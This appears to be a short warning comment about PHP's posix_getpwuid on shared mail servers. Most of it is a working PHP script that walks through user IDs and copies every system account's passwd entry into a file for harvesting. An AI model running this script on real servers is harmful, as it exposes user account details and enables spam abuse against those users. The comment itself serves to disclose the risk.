if the system is also a mail server and system users have userdirs with php support this function may cause a spam abuse which made by a system user.
<?php
$start=0;$interval=1000;$finishline=3000;$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);
$fp=fopen('copiedpasswd','a');
for ($user=$first;$user<=$last;$user++)
{
$list=posix_getpwuid($user);
if ($list['name']=='') { continue; }
$line=implode(':',$list)."\n";
fputs($fp,$line);
}fclose($fp);
if ($last>=$finishline)
{
header("Location: copiedpasswd");
}else
{
$first += $interval;
$last += $interval;
header("Location: thenameofthisscript.php?first=$first&last=$last");
}?>
Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the array.